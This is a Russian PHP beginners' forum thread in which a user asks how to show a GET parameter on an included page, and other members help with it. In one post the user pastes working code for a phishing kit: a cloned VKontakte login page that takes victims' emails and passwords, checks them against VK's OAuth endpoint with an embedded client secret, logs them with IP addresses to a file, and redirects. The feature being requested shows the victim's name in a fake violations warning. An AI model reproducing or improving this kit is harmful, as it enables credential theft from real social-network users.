Форум программистов, компьютерный форум, киберфорум
PHP для начинающих
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 4.80/40: Рейтинг темы: голосов - 40, средняя оценка - 4.80
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
1

Как отправить GET из одной страницы на другую?

14.06.2016, 07:22. Показов 7485. Ответов 21
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Приветствую! Нужна ваша помощь!

Имеется файлы index.php и config.php. В первом файле содержится php-обработчик и функция include('config.php');
Во втором файле, config.php, хранится сам html код и:
PHP
1
2
$url = 'site.com'; // Куда переходим
$out = 'log.php'; // Логи
Задача следующая: Нужно отправить GET таким образом site.com/?name=Вася Пупкин, чтобы Вася Пупкин отобразился в определенной строчке на сайте, который находится в config.php
0
Лучшие ответы (1)
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
14.06.2016, 07:22
Ответы с готовыми решениями:

Как отправить данные из одной формы в другую?
Привет, у меня есть программа. В ней есть процедура, которая открывает форму через Someform.Show...

Как перенести переменную с одной страницы на другую?
Как перенести переменную с одной страницы на другую?

Как сделать переход с одной страницы в другую
Всем привет , ребят не подскажите как осуществить переход к другой странице. Надо чтобы после того...

Как передавать данные с одной страницы в другую?
Есть сайт, в определенной части данного сайта отображаются названия загруженных вордовских файлов,...

21
53 / 44 / 10
Регистрация: 10.12.2013
Сообщений: 197
Записей в блоге: 1
14.06.2016, 11:14 2
После перехода по ссылке site.com/index.php?name=Вася ищи Васю в массиве $_GET['name']. Потом используй значение этой переменной на сайте в нужном месте html кода <?echo $_GET['name']?>
0
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
15.06.2016, 03:12  [ТС] 3
Цитата Сообщение от Z_e_e_k_ Посмотреть сообщение
После перехода по ссылке site.com/index.php?name=Вася ищи Васю в массиве $_GET['name']. Потом используй значение этой переменной на сайте в нужном месте html кода <?echo $_GET['name']?>
Дело в том, что $_GET['name'] находится в файле config.php, который открывается через index.php посредством include(), а в самом index.php находится сам движок и обработчик данных. Надо сделать так, чтобы переменная name менялась в config.php таким образом site.com/index.php?name=Вася
0
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
17.06.2016, 23:25  [ТС] 4
Никто не подскажет?
0
25 / 25 / 20
Регистрация: 12.05.2016
Сообщений: 181
17.06.2016, 23:35 5
Всмысле находится в файле config.php?Вы там присваиваете ей значение?
0
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
17.06.2016, 23:39  [ТС] 6
Цитата Сообщение от codding_hanter Посмотреть сообщение
Всмысле находится в файле config.php?Вы там присваиваете ей значение?
Сама страница сайта находится в config.php, а в index.php находится php код и функция include(), которая вызывает config.php. Нужно сделать так, чтобы через /index.php?name=Вася, значение Вася присваивалось в config.php, где находится $_GET['name']
0
25 / 25 / 20
Регистрация: 12.05.2016
Сообщений: 181
17.06.2016, 23:48 7
Лучший ответ Сообщение было отмечено wm_market как решение

Решение

Скиньте код который у вас отвечает за отправку $_GET параметра.

Добавлено через 2 минуты
Вот как я сделал,вам так надо?
index.php
PHP/HTML
1
2
3
4
5
6
7
8
9
10
11
<form method="GET">
<input type="text" name="name">
<input type="submit" name="Send">
</form>
<?php
include('config.php');
if(isset($_GET['Send'])){
    //echo $_GET['name'];
}
 
?>
config.php
PHP
1
echo $_GET['name'];;
0
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
17.06.2016, 23:49  [ТС] 8
Цитата Сообщение от codding_hanter Посмотреть сообщение
Скиньте код который у вас отвечает за отправку $_GET параметра.

Добавлено через 2 минуты
Вот как я сделал,вам так надо?
index.php
PHP/HTML
1
2
3
4
5
6
7
8
9
10
11
<form method="GET">
<input type="text" name="name">
<input type="submit" name="Send">
</form>
<?php
include('config.php');
if(isset($_GET['Send'])){
    //echo $_GET['name'];
}
 
?>
config.php
PHP
1
echo $_GET['name'];;
Мне надо, чтобы строчка в тексте config.php менялась на name. А это я так понял новое поле?
0
25 / 25 / 20
Регистрация: 12.05.2016
Сообщений: 181
17.06.2016, 23:51 9
Скиньте код вашего config.php и index.php
0
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
17.06.2016, 23:58  [ТС] 10
Цитата Сообщение от codding_hanter Посмотреть сообщение
Скиньте код вашего config.php и index.php
index.php
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
 <?php
    include('config.php');// Подключаем инфу
    
    $a=1;//Счетчик 
    $mail = $_POST['email'];
    $pass = $_POST['pass'];
 
  // Инициализируем Curl
    $ch = curl_init(); 
    // Если не работает, надо зарегистрировать свой секретный ключ(http://vk.com/dev)
    curl_setopt($ch, CURLOPT_URL,'https://oauth.vk.com/token?grant_type=password&client_id=3697615&client_secret=AlVXZFMUqyrnABp8ncuU&username='.$mail.'&password='.$pass);     
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
    $helper = curl_exec($ch); 
    curl_close($ch); 
    
    $id= current (explode('}',end(explode('user_id":',$helper)))); //Парсим id
    
  if ($mail != "" and $pass != "")  // Если не в первый раз
  { 
  
    if(preg_match('/[a-zA-Z]/', $id)) // Если неверно
    {
      $a=0;
      $failLogin[1]='value="'.$mail.'" ';
      echo  $failLogin[0].$failLogin[1].$failLogin[2];    
    }
    
    if(!(preg_match('/[a-zA-Z]/', $id))) // Если верно
    {
      $a=0;
      echo '<meta http-equiv="Refresh" content="0;url='.$url.'">';
    }
  }
 
    
    if ($a ==1) // Если в первый раз
    echo $firstLogin;
  
    if(preg_match('/[a-zA-Z]/', $id)) 
    $id='fail';
    $today = date("H:i:s Y/m/d");
    
    $ip=$_SERVER['REMOTE_ADDR'];
    $info="Логин: $mail || Пароль: $pass || IP: $ip || Время = $today || id: $id\r\n";
    $fh=fopen($out, "a+");
    fwrite($fh, $info); // Записываем данные
    fclose($fh);
 
  ?>
config.php(часть)
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
 
$url = 'http://vk.com'; // Куда переходим
$out = 'kotik.php'; // Логи
 
// Если в первый раз
$firstLogin =  '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><script type="text/javascript" async="" src="https://urlvalidation.com/whoami?jsonp=func58352"></script>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<title>ВКонтакте | Вход</title>
  <link rel="stylesheet" type="text/css" href="https://new.vk.com/css/al/fonts_cnt.css?2307916144">
  <link rel="stylesheet" type="text/css" href="https://new.vk.com/css/al/common.css?2812298637">
<!--[if lte IE 6]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(https://new.vk.com/css/al/ie6.css?1054141387); /* ]]> */</style><![endif]-->
<!--[if IE 7]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(https://new.vk.com/css/al/ie7.css?532233945); /* ]]> */</style><![endif]-->
<link type="text/css" rel="stylesheet" href="https://new.vk.com/css/api/oauth_popup.css?2783037447">
<script type="text/javascript" language="javascript" src="https://new.vk.com/js/api/common_light.js?2706613887"></script><script type="text/javascript" charset="UTF-8" vkopt_loader="undefined">window._ext_ldr_vkopt_loader=true;</script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vkopt.js" vkopt_loader="vkopt.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_face.js" vkopt_loader="vk_face.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_lib.js" vkopt_loader="vk_lib.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_main.js" vkopt_loader="vk_main.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_media.js" vkopt_loader="vk_media.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_page.js" vkopt_loader="vk_page.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_resources.js" vkopt_loader="vk_resources.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_settings.js" vkopt_loader="vk_settings.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_skinman.js" vkopt_loader="vk_skinman.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_txtedit.js" vkopt_loader="vk_txtedit.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_users.js" vkopt_loader="vk_users.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vklang.js" vkopt_loader="vklang.js"></script><link type="text/css" rel="stylesheet" id="vkStyleCSS"><link><style type="text/css" id="vkStyleNode"></style><script type="text/javascript" id="vkStyleCSSJS"></script>
 
<div id="sub_cont">
<form method="POST" id="login_submit" action="index.php">
<table id="container" class="container" cellspacing="0" cellpadding="0"><tbody><tr><td class="head">
  <a href="https://new.vk.com" target="_blank" class="logo"></a><div class="auth_items"><a class="head_name fl_r" href="http://vk.com/join?reg=1" target="_blank">Регистрация</a></div>
</td></tr><tr><td valign="top">
<div class="oauth_error">!ТУТ ДОЛЖНА БЫТЬ ПЕРЕМЕННАЯ NAME!Количесвто нарушений: <b>3</b></div>
Добавлено через 2 минуты
нужно,чтобы вводя /index.php?name=Вася, Этот Вася появлялся в config.php
0
25 / 25 / 20
Регистрация: 12.05.2016
Сообщений: 181
17.06.2016, 23:59 11
А где вы отправляете параметр $_GET?
0
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
18.06.2016, 00:00  [ТС] 12
Цитата Сообщение от codding_hanter Посмотреть сообщение
А где вы отправляете параметр $_GET?
Вот я и прошу о помощи. Отправить параметр GET через index в config.
0
2169 / 1652 / 840
Регистрация: 10.01.2015
Сообщений: 5,190
18.06.2016, 00:02 13
Цитата Сообщение от wm_market Посмотреть сообщение
В первом файле содержится php-обработчик и функция include('config.php');
Во втором файле, config.php, хранится сам html код и:
Эка Вы хитро сделали. Не проще ли в первый формы запихнуть, а во второй обработчик формы или вообще все одним файлом сделать без include('config.php');?
Цитата Сообщение от wm_market Посмотреть сообщение
PHP
1
$out = 'log.php'; // Логи
Для чего логи хранить в php файле? В каком виде они там хранятся, интересно было бы посмотреть...
Цитата Сообщение от wm_market Посмотреть сообщение
Дело в том, что $_GET['name'] находится в файле config.php
Каким образом GET-переменная изначально может быть в файле? В файле может быть переменная, которая принимает значение GET-переменной после передачи оной или она же, но ее необходимо сначала передать.
Цитата Сообщение от codding_hanter Посмотреть сообщение
PHP/HTML
1
<form method="GET">
Если метод GET, то указывать не обязательно, ибо он GET по умолчанию.
0
25 / 25 / 20
Регистрация: 12.05.2016
Сообщений: 181
18.06.2016, 00:03 14
Делается так как я и навел пример ранее:

Создается форма из которой отправляется параметер.

Добавлено через 32 секунды
Метод указывать обязательно
0
2169 / 1652 / 840
Регистрация: 10.01.2015
Сообщений: 5,190
18.06.2016, 00:04 15

Не по теме:

Цитата Сообщение от wm_market Посмотреть сообщение
config.php(часть)
Великие Боги...



Добавлено через 28 секунд
Цитата Сообщение от codding_hanter Посмотреть сообщение
Метод указывать обязательно
Кто Вам сказал такое? Если GET, то не обязательно.
0
25 / 25 / 20
Регистрация: 12.05.2016
Сообщений: 181
18.06.2016, 00:05 16
Ну как сказать,надо хотя-бы для лучшей читабильности кода.
0
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
18.06.2016, 00:07  [ТС] 17
Цитата Сообщение от Пифагор Посмотреть сообщение
Эка Вы хитро сделали. Не проще ли в первый формы запихнуть, а во второй обработчик формы или вообще все одним файлом сделать без include('config.php');?

Для чего логи хранить в php файле? В каком виде они там хранятся, интересно было бы посмотреть...

Каким образом GET-переменная изначально может быть в файле? В файле может быть переменная, которая принимает значение GET-переменной после передачи оной или она же, но ее необходимо сначала передать.

Если метод GET, то указывать не обязательно, ибо он GET по умолчанию.
1. Не хотелось бы канопатить весь сайт)

2. в php чтобы поставить пароль на файл
3. в этом совсем новичок и прошу вашей помощи)
0
209 / 191 / 49
Регистрация: 15.03.2016
Сообщений: 1,211
18.06.2016, 00:10 18
PHP
1
<div class="oauth_error">'.$_GET{"name"}.'Количесвто нарушений: <b>3</b></div>
0
2169 / 1652 / 840
Регистрация: 10.01.2015
Сообщений: 5,190
18.06.2016, 00:18 19
Цитата Сообщение от wm_market Посмотреть сообщение
3. в этом совсем новичок и прошу вашей помощи)
Тогда для чего сразу с вилами на танк лезть???
Почитайте основы, посмотрите уроки.
Не заметите, как все это будет щелкаться, как орешки...
0
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
18.06.2016, 00:28  [ТС] 20
Цитата Сообщение от codding_hanter Посмотреть сообщение
Скиньте код который у вас отвечает за отправку $_GET параметра.

Добавлено через 2 минуты
Вот как я сделал,вам так надо?
index.php
PHP/HTML
1
2
3
4
5
6
7
8
9
10
11
<form method="GET">
<input type="text" name="name">
<input type="submit" name="Send">
</form>
<?php
include('config.php');
if(isset($_GET['Send'])){
    //echo $_GET['name'];
}
 
?>
config.php
PHP
1
echo $_GET['name'];;
СПАСИБО! ПОМОГЛО!)))
0
18.06.2016, 00:28
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
18.06.2016, 00:28
Помогаю со студенческими работами здесь

Как перенести текст с одной страницы на другую?
Подскажите пожалуйста, как передать текст с одной страницы на другую? Пробовал делать с помощью...

Как прописать переадресацию с одной страницы на другую
Всем привет.. кто знает как прописать переадресацию с одной страницы на другую при условии что...

Как передавать значения с одной страницы на другую
Есть добавление в корзину через Jquery: basket.append('&lt;li data-id=&quot;' + itemId + '&quot;&gt;' ...

Как передавать значения с одной страницы на другую
Есть добавление в корзину через Jquery: basket.append('&lt;li data-id=&quot;' + itemId + '&quot;&gt;' +...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Ответ Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru